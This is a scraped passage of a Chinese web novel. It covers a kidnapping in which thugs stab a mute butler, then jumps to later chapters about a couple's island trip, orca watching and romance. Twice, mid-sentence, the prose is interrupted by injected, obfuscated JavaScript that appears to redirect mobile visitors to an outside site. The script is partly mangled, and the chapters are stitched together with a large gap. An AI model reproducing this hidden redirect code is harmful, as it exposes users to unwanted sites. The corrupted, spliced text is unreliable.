抵达目的地,早已经等候多时的管理员迎接伽巧,拿出备用钥匙打开工作室的防盗门。 鹿珉背着书包跟在伽巧身后。 进入工作室,占地一百多平的空间相当拥挤,各种型号的相机、镜头、反光板… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479285|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …堆得到处都是。 勉强找了个位置落脚,鹿珉打量四周,发现墙上挂满了照片。几乎都以人物为主,静态的、动态的、男人、女人、老者、小孩…… 摄影师技术非常厉害,光影和构图堪称教科书级别,仿佛定格了人物的灵魂。 在众多照片中,鹿珉精准捕捉到伽巧。 主人当时还是毛绒绒的短发,眉眼未褪去少年稚气。 身穿笔挺西装,定定站在那儿,没什么姿势可言,仿佛被谁拉过来被迫营业。 旁边站着个同样西装革履的男人,剑眉星目挺拔如松。 看似直勾勾盯着镜头,鹿珉却能感受到,他一定在用余光凝视伽巧。 伽巧也注意到那张照片,平直的伸出胳膊,用双手的拇指和食指比了个框,圈住祝南屿的脸。 “嗯,就这张。” 伽巧目光在祝南屿的脸上停留0.3秒,没什么情绪地想:原来他长这样。 难怪后来遇到那么多人,伽巧都不觉得英俊,原来审美的阈值早就被祝南屿拔高了。 “鹿珉,把照片带走。” 鹿珉跳起来比了个‘OK’的姿势,拿下挂在墙上的大相框吭哧吭哧搬出去。 伽巧正要跟着离开,负责开门的管理员拦住他,“伽先生,是这样的。婚礼现场还有一段未曾公开的花絮,摄影师当时觉得好玩偷偷拍的,你要带走吗?” “不需要。”葬礼上没有播放视频的环节。 管理员为难地说,“可是,摄影师特意交代我,一定要播放给你看看。” “什么视频?” 来时,伽巧在鹿珉的追问下被迫回忆婚礼。 都是一堆无聊的仪式,在虚伪的祝福中许下无法实现的诺言,没有什么难忘的环节。 管理员从抽屉里拿出摄影机,打开,翻出摄影师珍藏多年舍不得编辑也舍不得删除的视频。 婚礼现场,伽巧和祝南屿即将交换誓约。 登台之前,祝南屿突然拉住伽巧,凝视他的眼睛问,“你愿意吗?” “祝南屿,你偶像剧看多了吗?”伽巧嫌烦,没好气地抱怨,“如果不愿意,我为什么要凌晨五点起来试装,陪你折腾一整天?” 亲自结过婚之后,伽巧深深觉得,偶像剧那些抢婚环节都是骗人的。 没有人经历过结婚全套流程后,还有力气私奔。 祝南屿目光近乎执拗,再次确认,“你愿意吗?” “愿意,I do,行了吧?”伽巧瞪了他一眼,“你到底发什么疯!” 祝南屿扬起唇角,笑容灿烂。握住他的手,俯身,虔诚地亲吻无名指。 “中了人生仅有一次的大奖,当然要多核对几次号码。” 22.第 22 章 “中了人生仅有一次的大奖,当然要多核对几次号码。” 婚礼花絮视频到此,戛然而止。 听到如此浪漫的情话,管理员一把年纪被这对新婚夫夫甜得肝颤,内心感慨:天呐,这是什么绝美爱情?? 人类的悲欢并不相通,伽巧体会不到‘浪漫’在哪儿,面无表情地想:这段视频怎么没把后续拍进去? 事实上,伽巧从来没有买过彩票,自然听不懂祝南屿的比喻。 中奖号码——仿佛自己只是一串随机出现的数字。 “那……”伽巧慢吞吞眨了下眼,仰起脸看向理论上会跟自己共度余生的男人,“如果,我现在回答不愿意呢?” 话音刚落,空气骤然凝固。 伽巧明显感觉到,周围的温度都降低了几摄氏度。 “你不愿意?”祝南屿靠近伽巧半步,依然在笑,眼底的温度却慢慢冷下来,整个人几乎快要黑化,“正好,我还有几个备选的婚礼方案,正愁只能结一次婚没办法全部派上用场。你这次不愿意,我可以多娶你几次,然后……直到你愿意为止。” 虽然这话听起来正常,伽巧总觉得,‘然后’和‘直到’之间,似乎省略了不得了的东西。 祝南屿搂住伽巧的腰,把他整个人勾引怀里,低头啄吻他的耳廓,温热吐息烙得伽巧全身过电似的酥麻。 伽巧被吻得迷迷糊糊,只听他压低嗓音说: “下次穿婚纱吧,娇娇?” 婚、婚纱? 那个必须早晨三点半起来更换,既要垫胸还要束腰的麻烦礼服? 重点是,祝南屿第一次提议婚纱时,特意指出裙摆越大越好,鬼知道他想在‘新娘’的裙底做什么! 那是伽巧有生以来,第一次体会到何为不可名状的恐惧。 如果自己现在才说‘不愿意’,天知道祝南屿还有多少场婚礼等着自己。 “……我愿意。”伽巧几乎咬牙说出这三个字,瞪了他一眼,小声抱怨,“你根本没给我第二个选项!” 伽巧被勾起某些恐怖的回忆,拒绝管理员‘还有婚礼现场的视频我们一起看吧’的提议,毫无留恋离开摄影师的工作室。 看视频耽搁的时间比想象中多,外面天色已黑透。 这片地方属于市区内,但远离城中心,周围都是些老胡同。 老旧的路灯光线昏暗,附近几条街道一到晚上就会变得格外寂静。 伽巧站在原地等了一会儿,四周没有鹿珉的身影。 “鹿珉。” 他是个哑巴,即使听到也不会回应,但是一定会蹦蹦跳跳跑向自己。 伽巧仔细分辨脚步声,没有哪道朝自己而来。 也许鹿珉带着画坐上车之后,就懒得折回来迎接自己。 伽巧拿出手机拨通鹿珉电话,无人接听。 平常有什么事,他总让鹿珉负责沟通转达,因此没有储存司机的联系方式。 因为摄影师工作室附近不好停车,来时司机找了几圈,把车子停在二百米外的地下停车场,伽巧只好自己走过去。 走出几步,沿街的路灯接触短路,发出‘刺啦刺啦’的声音,忽明忽灭。 夜间活动的蛾子受到趋光性影响,用力挥动翅膀,不管不顾撞向路灯。 飞蛾耗尽最后的生命,然后轻盈下坠,掉在伽巧脚边,翅膀依然在神经性抽搐。 伽巧后退半步,垂眸看向飞蛾遗骸,发现旁边还有一小片撕碎揉皱的纸,上面的格子纹路有些眼熟,似乎来自鹿珉的线圈本。 犹豫片刻,伽巧俯身捡起来,慢慢展开那张纸。 纸上的字迹很熟悉,是鹿珉留下的,歪歪扭扭写着: 快逃 那红色鲜艳、粘稠,是人类体内特有的墨水——血液。 气味很新,应该是动脉出血。 虽然伽巧没有上过生物课,但十分了解人体。 动脉是直接源自心脏的血液,出血量大,流速快。 如果不及时止血…… 会死。 “……”伽巧沉默地攥紧那张纸,凑近鼻息,分辨人类血液特有的铁锈味。 然后抬眼看向前方,顺着同样气味逐渐变浓的方向,加快脚步冲进地下停车场。 陈旧的地下停车场常年无人管理,唯一的电子起落杆被强行折断,地上还有车子快速通过撞断起落杆留下的碎片。 越往里走,血腥味越浓烈。 走到最里面,送他过来的车子已经不见,地上残留着车窗玻璃碎片和一大滩刺眼的血迹。 从出血量和喷溅范围判断,短时间不足以致命。 还有救。 伽巧得出结论,听到周围窸窸窣窣,藏在暗处的几个人慢慢朝自己聚拢。 他们身上的气息,伽巧曾经非常熟悉。 贪婪、恶意、准备围捕猎物。 伽巧定定站在那里,等他们凑近,反手精确地抓住准备从背后袭击自己的男人,越过肩膀重重摔在那些玻璃渣上。 “呃啊……”高大的男人发出闷哼。 “鹿珉呢?”伽巧手里多了一片尖锐的碎玻璃,冷冰冰抵住他的咽喉。 “咳咳……呸!”男人吐了一口血沫,“跟祝柯那小子说的一样,你这家伙看着柔柔弱弱,下手真他娘黑!” 听到他嘴里冒出‘祝柯’的名字,伽巧无动于衷。 曾经有多少顶级玩家,通过各种方式想要杀死自己,祝柯实在排不上号。 “鹿珉呢?”伽巧又问了一次。 “还用问吗?当然是被我们抓起来了!”戴头巾的同伙拿着刀,从背后指着伽巧,“我警告你,别动。” 伽巧瞥了眼那把小刀,目光有些困惑。 那么薄的一个小铁片,想要杀死我? 头巾男转了下手里的刀,刀锋滴滴答答,在伽巧眼前滴落几点鲜红粘稠的液体。 “看见没?这都是小哑巴的血。我从背后捅了他一刀,握着刀柄在里面……转了一圈。”头巾男表情兴奋,仿佛描述某个艺术作品,“可怜的哑巴,肚子很痛吧?可惜再痛也叫不出声,只会像个兔子似的哭红眼睛,用力把我推开逃进车里,用自己的血拼命拼命写‘快逃’。” “你知道那个傻子,写了多少张吗?”另一个同伙从暗处走过来,在口袋里摸了摸,甩出一厚叠写了‘快逃’的纸。 “猎杀拼命反抗的猎物,真是愉快啊~”他脸上露出类似高潮的表情,呼吸急促眼神迷离,越说越兴奋,“我砸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483776|184801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎了车窗想把他拽下来,他伤得那么重,还打算开车撞开我们逃出去。” “哈哈哈哈!可怜的小兔子肯定不知道吧?那辆车子我们早就做过手脚,油箱是空的!” “绝望吧?你忠诚的管家一定很绝望吧?要被我们抓住了。谁让他喜欢画兔子呢,大自然弱肉强食,兔子天生就是猛兽的猎物~” 伽巧:…… 只能抓兔子的‘猛兽’,听起来没什么出息。 高潮男嘴里发出一连串诡异的笑声,陶醉地继续说,“就算这样,他依然努力的给你留信号,扔了那么多纸条回去。我还担心你看到之后就不会来了,真的太好了,你才是今晚最大的猎物~” 在高潮男供述犯罪事实的同时,伽巧已经用最快速度摸清楚地下车库的环境,已经对面的绑匪数量。 车库里总共四个人,除了被自己过肩摔的玻璃渣男、用刀抵住自己的头巾男、面红耳赤的高潮男,还有一个站在伽巧前方始终没出声。 伽巧身体动了动,利落地侧抬腿,踢中头巾男的手腕,水果刀应声落地。 他刚捡起水果刀,正前方始终没吭声的同伙,把一直抱在怀里的平板转过来,面向伽巧。 “……”伽巧看清楚,瞳孔微微收缩。 平板中正在播放监控,鹿珉被关在一个狭小黑暗的地方,腰部以下几乎被鲜血浸红,艰难地喘着气。 绑匪显然不想让这颗‘棋子’立刻断气,做了简单的止血措施,暂时没有性命危险。 但不及时治疗的话,死亡的迟早的事。 监控镜头突然往上挪了几厘米,露出一张狰狞的脸,手里同样握着一柄闪着寒光的水果刀,在鹿珉面前来回比划。 “你再动一下,我就会让监控里的男人捅他一刀。”沉默男声音闷闷地,“当然,你可以不管他的死活,从这里逃出去。” 头巾男揉着差点断掉的手腕,笑容更加扭曲,“其实在你来之前,我们跟那个哑巴说过同样的话。” “只要他不管你的死活,就可以从这里逃出去,保住一条小命。你猜他怎么做的?”高潮男脸红的更夸张,陶醉地说,“他那么没用,居然想要保护你。结果呢?把自己搞成这副惨兮兮的样子,反而拖累你。那么愚蠢的管家,趁早换了吧。” “你逃出去,我们顺便帮你解决掉那个麻烦。” “呼……”伽巧闭上眼,长长吐了口气。 鹿珉愚蠢,他不是第一天知道。 鹿珉从前在另一户人家工作,因为长得可爱遭到少爷侵犯。 小哑巴不会呼救,走投无路从二楼窗户跳下去,闹出很大动静。 那家主人却指责鹿珉勾引他们儿子,不仅没有付医药费,还要求鹿珉赔偿少爷的精神损失。 小哑巴被骗光了所有的钱,一瘸一拐来到伽巧家里面试。 害怕新主人嫌弃自己不会说话,鹿珉密密麻麻写了很长的自荐。 ‘虽然我不会说话,但写字很快!沟通完全没有问题!’ ‘我会做饭、会扫地、会洗衣服、会打理庭院,会努力记住主人所有的喜好!’ ‘求求你给我这份工作!’ …… ‘我很忠诚。’ ——我很忠诚。 50-54 第51章 “所以……” 新年刚开始, Lanner亮闪闪的金毛却蒙上一层霜雪。 “他们请我来家里做客,自己跑出去旅游了?” 鹿珉点点头,线圈本翻过一页, 认真地纠正道: ‘主人的小娇夫说,是婚前蜜月。’ 重点在那里吗? Lanner嘴角抽搐几下, 用力扶住额头, 无奈地吐槽, “还只留个哑巴在家陪我。” 鹿珉:??? 重点在那里? 两个人互相交换了信息, 鹿珉才逐渐意识到两件事。 第一,Lanner是个话痨, 所以对自己是个哑巴这一点耿耿于怀。 第二, 世界上存在某种生物, 比淇奥更烦人。 即使鹿珉是个哑巴, 他也能单方面开启话题, 聊得那叫一个宾至如归。 淇奥似乎嗅到不同品种的同族气息, 对Lanner事事有回应, ‘汪’得又大声又响亮。 Lanner当人的时候,都没遇到过这么配合自己的知音,顿时把见色忘义的两个人抛之脑后, 大咧咧占据别墅跟‘知音’聊得相逢恨晚。 这可苦了鹿珉。 变成哑巴之后, 大概因为身体的‘代偿’机制,听觉慢慢进化, 远超常人水平。 哪怕他不想听, 但无论躲在哪个角落,都能听到一人一狗发出噪音。 “淇奥我问你啊,祝南屿和小伽巧你更喜欢谁?” “汪汪!” “是吗是吗~我也喜欢小伽巧~祝南屿那个没心没肺、薄情寡义的渣渣。玩弄我的感情,利用过就一脚踹开, 谁要喜欢他啊?” “……”不是,你怎么听懂的? 鹿珉想了想,又觉得重点不太对。 主人的伴侣玩、玩弄Lanner的感情??? 他们是前任吗?那Lanner就是主人的情敌了! 可Lanner又说,他喜欢伽巧,听起来不像假的。 所以,这应该是—— 鹿珉拿出线圈本,无意识画出一个又一个三角形,脑子陷入彻底混乱。 主人,感情的世界果然太复杂了啦!. 春节是绝对的旅游高峰期,稍微有点儿知名度的城市个个人满为患。 再加上,伽巧被惯出一身金贵的毛病。讨厌人多、讨厌寒冷、讨厌太密集的行程。 在别人看来,带他旅游纯纯自讨苦吃。 正好。 祝南屿就喜欢没苦硬吃。 他提前规划好行程,做了最完备的攻略,提前申请私人飞机航线避开人潮,带着伽巧来到某个提供私人服务的度假海岛,租下别墅和一大片海滩。 伽巧住进别墅,他的房间装有270°落地窗,即使足不出户也能欣赏到大海潮起潮落,将旅游的消耗降到最低。 “我应该夸奖你吗?” 伽巧靠在祝南屿怀里,海风顺着打开的窗户,送来大海特有的咸涩味道,仿佛将他整个包围。 “还真是有毅力。” “谢谢。”祝南屿环着他的腰,大大方方收下道谢,“我是那种难度越高,越想挑战的类型。” 伽巧瞥了他一眼,“你把我当成挑战啊?” “对。” 想当初,就是因为伽巧‘恶名在外’,他们才得以相遇。 除了该死的胜负欲之外,祝南屿如此执着,自然还有其他原因。 “我知道,你对这个世界没兴趣,可我依然想把美好的一面送到你面前。”祝南屿从后面靠过来,下巴搭在他肩膀上,声音眷恋而又温柔,“我当然希望你只看着我,但你的世界应该有无限风光。” 伽巧与世界的链接太淡了,仿佛随时消失都可以,仿佛从未来过也可以。 虚无缥缈,镜花水月。 祝南屿由衷希望,他来这趟人间,能有些意义。 “知道啦。”伽巧抬起手,摸了摸他的脸,“我又没说这次不喜欢。” “真的?”祝南屿惊喜地问。 “我只是讨厌麻烦,如果像这样随便看看,想做什么就做什么,我就不讨厌。”伽巧身体又软了几分,更深的陷入他怀里,懒洋洋说,“休息一下再出去看海吧。” “随你喜欢。” “这里的海可以游泳吗?” “浅海区可以,深水区必须持有潜水资格证或者请教练和救生员陪同。” “算了。”伽巧又嫌麻烦,打算只在海滩随便玩玩。 祝南屿猜出他的心思,高深莫测补充道,“虽然概率不算大,但我感觉你可能想去深海区,所以租了一艘船,可以在离岸100海里的范围内活动。” “100海里的范围有多大?” 因为伽巧没有驾照又不太出门,对距离概念很模糊。 祝南屿想了想,举例子说,“可以看到海豚和虎鲸,你知道虎鲸吗?” “海豚不怎么认识,但是虎鲸我知道。”伽巧认真地告诉他,“厉害的我都认识。” “你的思维还真是……” 通常来说,应该认识海豚的比较多吧。 祝南屿严肃地叮嘱,“不要跟虎鲸打架,它们是保护动物。” 伽巧恼怒,“你把我当成什么了!” 或许被海中霸主——虎鲸激发了兴趣,伽巧没躺多久就支棱起来,换上沙滩风格的短袖和短裤。 由于体质原因,伽巧很少穿短裤。 猛然在室外看到他露出白皙的腿,祝南屿竟然有点晃神,手比身体动得更快,拿出手机给伽巧拍了几张照片。 “你拍照了?发给我吧。”伽巧顺理成章的要过照片,准备发到微博‘营业’。 祝南屿把照片发过去,可怜兮兮跟老婆商量,“娇娇,可以换一组照片吗?” “为什么?你拍得很好呀。”伽巧懒得要命,才不想重拍照片。 “可是……”祝南屿蹙眉,“衣服太透,裤子太短,我的人都被大家看光了。” 伽巧低头,瞧了眼几乎及膝的短裤。 祝南屿管这叫‘太短’? 伽巧冷漠地忽视他的意见,依然把照片发出去。 他已经摸清楚跟祝南屿相处之道了,这种时候就应该清清楚楚‘立家规’。 如果自己稍微有点妥协,祝南屿下次就会用同样的方式,得寸进尺拿捏,说不定以后露脚踝都要被他念叨两句。 ——哪来的封建大爹? 网友们并不知道这组照片的内幕,更不知道惹祝南屿吃了多大的醋。 刷到伽巧的新动态,众多颜狗色批默契地放大,开启舔屏模式。 【伽伽去海边了!蓝天、碧海、少年,好青春啊】 【那些说伽伽死板无趣的人真没品,他明明超级百变好吗,换个造型像换个人设一样】 【对对对!我还记得A大爆出的第一章 卫衣高马尾,运动风阳光小狗】 【没有人舔西装伽吗?虽然只出镜过一次还特别糊,但是冷欲精英感拉满】 【杂志伽才是巅峰,美神下凡好吗】 【别争了,伽伽最好看的造型永远是下一套!你们都没注意到伽伽露腿了吗?】 【注意到了,不敢公开涩涩,害怕上祝董的暗杀名单】 【没事,我们人多,他鲨不过来!】 【那我就光明正大舔图了~看伽伽平常捂得那么严实就能猜到,本人果然白得发光,皮肤太好了吧】 【最牛比的是,他那么瘦身体却完全不干巴,腿和胳膊的肌肉线条特别完美,美术生天菜啊啊啊】 【救命!不敢想象祝南屿吃得有多好!】 【你们仔细看背景,那片海滩半个人影都没有,祝南屿老实交代你把伽伽骗过去做什么?对自己差点吧!!!】 网友们注意到背景中的海滩没有游客,风向改为抨击祝南屿居心叵测。 可惜伽巧营业之后就收起手机,完全没有意识到‘危险’即将降临,还毫无警戒心的跟祝南屿上了船。 看到船之前,伽巧以为会是那种名流圈经常用来显摆、炫耀的巨大度假游轮。 实际上,祝南屿准备的游轮更接近于‘小艇’,目测大约五、六米长。 船体构造很简单,除了两米左右的遮阳棚以外,其余区域都是露天的,方便观赏一望无际的大海。 祝南屿提前在船上准备了三个箱子,一个箱子装着鱼,用来吸引海豚或者虎鲸,第二个箱子装着冰镇可乐和零食,最后那个箱子不知道是什么。 除此以外,船上空空荡荡,甚至没有雇佣司机。 “你会开船?”伽巧问。 “对啊,租船需要出示驾驶证。”祝南屿轻描淡写地说,“而且,这艘是最新型度假船,有自动驾驶功能,你要不要试试?” “不要,我连开车都学不会。” “你根本没学过吧?” “可是我坐过车,感觉好复杂。”伽巧摆摆手,表示毫无兴趣。 就像做饭一样,他更喜欢享受现成的。 “那正好,你要一辈子做我副驾驶了。”祝南屿说着,拿出一罐冰可乐扔给伽巧。 伽巧准确接住可乐,躺在船尾的吊床上,看着天上的云摇摇晃晃,小船慢悠悠离开海岸。 自家老婆不喜欢太赶的行程,再加上高速行驶有可能撞到突然跃出海面的海洋动物,因此祝南屿把速度设置得比较慢。 确定方向和海况后,便把船交给自动驾驶,自己走到伽巧身边陪他看着蓝天碧海。 “南半球现在是夏天,阳光很晒。”祝南屿靠着他,目光落在伽巧白净的胳膊和小腿上,“要不要我帮你涂防晒霜?” “你找的借口很烂。”伽巧坐起来,侧过身,赤着脚踩在他膝盖上,“利用擦防晒霜的机会,然后就有理由摸我了。” 祝南屿被拆穿,丝毫不觉羞愧,厚颜无耻地反问,“摸自己老婆需要理由?” “……”伽巧被他说服了,腿慢慢伸直,踩在他胸口,仰着脸大大方方说,“擦吧。” 祝南屿倒是真的拿出防晒霜,规规矩矩替他擦好。 举止很克制,手没有触碰任何‘不该摸’的位置,搞得伽巧有些不太习惯。 “这算什么,被我拆穿之后恼羞成怒,准备冷暴力了?”伽巧瞥了眼始终没打卡的箱子,皱着眉问,“那里面该不会是情趣内衣吧?” “娇娇,你把我当成什么?”祝南屿勾了下唇,笑意不及眼底,语气暧昧而又危险,“你身上这套,够情趣了,不需要更多助兴。” “……变态。”伽巧再次被他刷新了底线, 懒得再搭理祝南屿,自己走到箱子旁边打开盖子。 本以为祝南屿刚才藏得那么严实,现在应该会阻拦。 结果他只是静静看着,眼底闪过几分玩味。 伽巧突然萌生不好的预感,一口气掀开箱子盖,赫然看到—— 夜间导航仪、应急光源、还有一条毯子。 “???”他拿出没有信号的手机,看了眼目前时间,刚过上午十一点。 南半球正值昼长夜短的阶段,距离入夜,还有将近十个小时。 所以,祝南屿准备这些夜间设备…… 伽巧忍不住咂舌。 如果早点打开这个箱子,他肯定不会跟祝南屿上船。 “别紧张。”祝南屿凑过来,温柔地抚摸伽巧的长发,“我会带你看到虎鲸的。” 伽巧沉默。 他突然意识到,这片海域最危险的不是虎鲸,而是身边这个男人。 小船已经到了海中央,伽巧没有潜水证不能下水游回去。 反正已经躲不过,他摆烂地重新躺回去,又伸出腿踩在祝南屿胸口。 “给我揉揉。” 此刻,他由衷希望祝南屿租个豪华游轮,哪怕多邀请几个人都无所谓。 这艘破船那么窄,还被浪打得摇来摇去,不敢想象明天腰该有多痛。 祝南屿诡计得逞,一副千依百顺做小伏低的姿态,服务周到的很,舒服得伽巧差点睡着。 昏昏欲睡之际,祝南屿突然捏捏他的肩膀,“娇娇,你看。” “嗯?看什么?”伽巧睁开眼,顺着祝南屿手指的方向看过去。 不远处的海面,几条扁扁的鱼飘在海面上随波逐流。 伽巧视力挺好,能看到那几条鱼大概呈菱形,表面没有鳞片,覆着一层光滑的褐色皮肤。 “好猎奇的鱼。”伽巧评价道,又问,“你特意让我起来看它吗?” 就算再想让自己开拓眼界,也不至于特意把他弄醒,欣赏这条……观赏性和食用性都稍显匮乏的鱼吧? “嘘。” 祝南屿示意伽巧暂时保持安静,然后从箱子里拿出鱼,用鱼线串着扔进附近海里,把那几只扁扁的鱼吸引过来。 鱼已经提前处理过了,腥味很快在附近的海域扩散开。 感觉距离已经差不多了,祝南屿解开鱼线,控制小船躲到旁边适合观赏的位置。 只见那几条扁扁的鱼围过来,享用丢进海里的小鱼。 “你准备的食物,原来是喂那些小丑鱼的?”伽巧原本以为,他会拿鱼吸引虎鲸。 “小丑鱼是另外一种鱼,这些家伙学名叫蝠鲼,更多人叫它魔鬼鱼。”祝南屿告诉伽巧,“虎鲸比你想象中还要大,我们这艘小船全部装满,也没办法喂饱它。” “所以,你准备用他当虎鲸的替身敷衍我?”伽巧指了指魔鬼鱼,有种被愚弄的感觉。 如果祝南屿敢回答‘是’,自己肯定跟他没完。 “不是,魔鬼鱼除了作为食物外,还有个用处……” 祝南屿话还没说完,远处掀起不小的海浪,几只浅灰色的海豚跃出水面,顺着气味游向蝠鲼。 比起蝠鲼,海豚明显庞大得多,目测有他们驾驶的小船一半左右。 距离魔鬼鱼群还有几米,几只海豚各自散开,竟然明显排开了队形,从不同方向包抄将魔鬼鱼纳入包围圈。 “这就是狩猎吗?”伽巧对于欣赏风险不感兴趣,看到海豚围剿魔鬼鱼可就不困了。 等几只魔鬼鱼吃完诱饵,才发现已经被海豚包抄。 它们想要逃跑,但明显来不及了。 游得最快的海豚成色很新,看样子是海豚家族的青少年。 它甩着尾巴靠近魔鬼鱼,然后—— 一脑袋顶过去。 魔鬼鱼转着圈圈,吐着泡泡,被顶得晕头转向。 其它几只海豚纷纷效仿,用脑袋或者鱼鳍戏弄魔鬼鱼,还一起转着圈游泳制造出漩涡,把魔鬼鱼像洗衣机似的卷在里面。 伽巧同情地看着魔鬼鱼,似乎能听到它们心中的辱骂: ‘不吃别扒拉!’ 几只海豚玩得正尽兴,突然,为首的海豚察觉到什么,向族群发出讯号。 其余海豚立刻潜入水下,以极快的速度逃离。 看来,是这里的味道传得更远,吸引不得了的家伙赶过来。 “要来了。” 祝南屿操控着船,徘徊在距离魔鬼鱼不远的位置,同时拿出望远镜丢给伽巧。 伽巧举起望远镜,看向远处无边无际的海面,视线里出现一道弯弯的鱼鳍,仿佛恐怖片里鲨鱼来袭的画面。 “那是鲨鱼吗?” “不是,鲨鱼的鱼鳍是直的。”祝南屿无奈地纠正,“你既然对虎鲸感兴趣,至少了解一点有关它的信息吧?” 伽巧难得有些尴尬,“我又不知道能亲眼看到。” 经过祝南屿解释,伽巧才知道,虎鲸有个爱好就是只露出鱼鳍游来游去,模仿鲨鱼随机吓死几只‘小人咪’。 虎鲸又被称为‘海洋gai溜子’,特别喜欢凑热闹。 估计它听到海豚组团玩耍的动静,按捺不住躁动,火急火燎冲了过来。 倒霉的魔鬼鱼,刚才被海豚的转筒洗衣机攻势搞得头昏脑涨,一时间找不准方向,错失了逃亡的机会。 目前,社交媒体上关于虎鲸的视频,有不少是它把魔鬼鱼一尾巴扇飞,送海洋同伴物理上天。 对于魔鬼鱼来说,被海豚玩弄是困难模式,被虎鲸玩弄是地狱模式。 游得最慢的魔鬼鱼,还没反应过来往哪逃,虎鲸已经近在咫尺。 它别无选择,只能飘在海面上装死,cos海洋垃圾。 也不知道魔鬼鱼装死技术太高明,还是虎鲸眼瞎,居然笔直越过它直奔海中央的小艇。 祝南屿似乎料到这种情况,拿出手机,播放一段提前下载的高分贝尖叫。 “啊!鲨鱼来了!救命!Help!” “太可怕了啊啊啊!” “……”伽巧莫名其妙地看向它,不懂这么做有什么意义。 祝南屿小声解释,“虎鲸智商很高,近岸的虎鲸大概率能听懂人类说话。” 果然,虎鲸听到恐惧的尖叫,突然在海面底下翻了个身,露出白花花的肚皮滑过小艇下方,仿佛用这样的举动说: ‘看,我是一条虎鲸,被我吓到了吧~!’ “因为经常来海边玩的人,都知道虎鲸不会攻击人类,因此不害怕它。可能哪只虎鲸觉得无聊,就伪装成鲨鱼靠近度假船,然后这种玩法就在虎鲸界传开了。” “怎么传开的?” “虎鲸其实是群居动物,有庞大的家族。”祝南屿看着伽巧的眼睛,也不知道在说虎鲸还是他老婆,“强者未必都是孤狼,就像魔王和勇者的故事。勇者可以借助友情的力量,魔王也可以有自己的魔王朋友。” “我有朋友。” “鹿珉不算。” “……” 沉默蔓延短短三秒,那头比船还要长两倍的虎鲸慢悠悠转了个圈,找到船上小人咪的位置浮出水面,用气孔里喷出一朵小喷泉。 伽巧注意到,它头部黑斑处有两颗圆圆的‘小豆豆’,大概是虎鲸的眼睛。 难怪它跟熊猫一样,都是黑白配色,应该都是为了用眼斑藏住自己不大的眼睛。 “嘤嘤嘤~” 庞然大物一开口,老嘤嘤怪了。 叫声听起来像撒娇,仿佛在说:我是虎鲸,看到了吗?我会喷水!你们怎么光顾着聊天,我被屏蔽了吗?人,你在看吗?我是虎鲸! “哇。”伽巧浮夸地感慨一声,“好大的虎鲸。” 那条虎鲸好像真能听懂人类的话,心满意足又喷出一朵小喷泉,甩甩尾巴游走了。 路过那条依然没搞清楚状况的魔鬼鱼,它大尾巴一拍,用完美的弧度送它上天。 魔鬼鱼:都说了不吃别扒拉啊啊啊! 伽巧盯着四边形的魔鬼鱼飞出老高,像风筝似的,虽然有点同情还是没忍住笑出声。 如果自己变成虎鲸,可能也会忍不住这么玩。 不知不觉间,小船慢悠悠离岸好几十海里。 日色渐渐沉入海平面,余下的晚霞将海面映成粉色。 海水随着潮汐起起伏伏,小船也随着节奏摇摇晃晃,随波逐流漫无目的。 放眼四周,无边无际的海面只有他们两个人。 仿佛全世界只有这么大。 伽巧叼着一根棒棒糖,没骨头似的躺在祝南屿怀里,望着天色一点点暗下去。 “亲爱的。”他突然开口。 “……嗯?”祝南屿应得有些犹豫。 这三个字听起来亲昵,其实对于伽巧而言,就是喊出来敷衍自己的。 ——完全没有放入感情。 “哈。”伽巧笑得肩膀轻颤,“你果然不喜欢,那我要怎么叫你呢?老公?” “……”祝南屿应都不想应。 很好,更没感情了- 作者有话说: 伽巧:……总不能叫老婆吧。 第52章 亲身体验之后, 伽巧得出结论。 船,不是适合睡觉的场所。 除了船体自身摇晃、还有彻夜未停的海浪声之外,身边躺着一个男人也相当烦人。 伽巧从前受过不少次伤, 对于疼痛忍耐度不算低,但是各种层面的忍耐力都很差。 “我以后不会再跟你来了。” 伽巧扶着摇晃的栏杆, 轻巧跳下船, 一把拍开祝南屿悬在空中等待搀他的手, 语气明显比平常更冷几分。 祝南屿穿得薄, 被他拍到的地方明显留下几道指印,却依然笑得如沐春风。 “抱歉, 是我太过分了。” 祝南屿亦步亦趋跟在他身后, 伸手托着伽巧的腰, 缓缓按揉酸痛的位置, 声音充满诱哄的意味。 “还在生气?” “当然。”伽巧斜了他一眼, 气得眉结紧蹙。 哪会有人因为不喜欢‘亲爱的’这个称呼, 做出如此幼稚的事? 再说, 伽巧后来从‘宝贝’到‘哥哥’叫了个遍,祝南屿丝毫没有收敛的意思。 直到天都亮了,也不肯放过自己, 拖到中午过后才靠岸。 伽巧很是怀疑, 比起介意称呼,他只想找个借口为所欲为罢了。 “消消气, 以后不会了。”祝南屿贴得越来越近, 靠在耳边轻声问伽巧想吃什么。 “不吃。”伽巧昨晚没怎么睡,又消耗那么多体力,现在困得要命,只想快点回房间睡觉。 祝南屿却故意拖住他, 非要在海滩吃提前预定的午餐。 伽巧原本以为,这顿午餐可能有什么特别之处,勉强打起精神配合他。 结果出乎意料的普通,都是容易消化的餐点。 “……” 搞不懂祝南屿那颗脑袋,究竟在想什么。 “本来预定了正餐,可是吃得太丰盛,等会儿可能会睡不着。”祝南屿解释道。 “如果你真有那么体贴,昨天为什么不克制一点?”伽巧困得脾气都变差了,数落老公毫不留情。 “抱歉。”祝南屿滑跪非常迅速,末了又略带委屈地说,“但是,我本来想要忍耐,明明是你先诱惑我的。” 